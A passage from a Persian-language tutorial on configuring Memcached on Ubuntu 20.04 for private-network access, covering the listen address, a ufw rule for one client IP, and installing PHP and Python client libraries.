برای دسترسی از راه دور به سرور memcached ، شما باید دیوار آتش را پیکربندی کنید و پورت UDP memcached 11211 را فقط از مشتری های معتبر باز کنید.مثال زیر فرض می کند که شما می خواهید از طریق شبکه خصوصی به سرور memcached متصل شوید. IP سرور memcached 192.168.100.20، و آدرس IP مشتری است 192.168.100.30.اولین قدم ویرایش پیکربندی memcached و تنظیم سرویس برای گوش دادن به رابط شبکه خصوصی سرور است:برای انجام این کار ، memcached.confپرونده پیکربندی را باز کنید:sudo nano /etc/memcached.confخطی را که شروع می شود با آدرس IP سرور -l 127.0.0.1جایگزین 127.0.0.1کنید 192.168.100.20./etc/memcached.conf-l 192.168.100.20کپی ?سرویس Memcached را مجدداً اجرا کنید تا تغییرات به مرحله اجرا درآیند:sudo systemctl restart memcachedپس از پیکربندی سرویس ، مرحله بعدی باز کردن پورت memcached در فایروال است .sudo ufw allow from 192.168.100.30 to any port 11211اتصال به Memcached #بسیاری از پیاده سازی های مشتری های memcached نوشته شده برای زبان های برنامه نویسی مختلف وجود دارد.PHP #برای استفاده از Memcached به عنوان یک پایگاه داده حافظه پنهان برای برنامه PHP خود مانند WordPress ، Drupal ، Joomla یا Magento ، باید php-memcachedبرنامه افزودنی را نصب کنید :sudo apt install php-memcachedپایتون #چندین کتابخانه پایتون به دلیل تعامل با ممکشن وجود دارد. می توانید کتابخانه مورد نظر خود را با استفاده از pip نصب کنید :pip install pymemcachepip install python-memcachedنتیجه گیری #ما به شما نشان داده ایم که چگونه Memcached را در Ubuntu 20.04 نصب کنید. برای اطلاعات بیشتر در مورد این موضوع ، با Memcached Wiki مشورت کنید .اگر هر گونه سؤال یا بازخورد دارید ، در صورت تمایل در زیر نظر دهید.

ادامه مطلب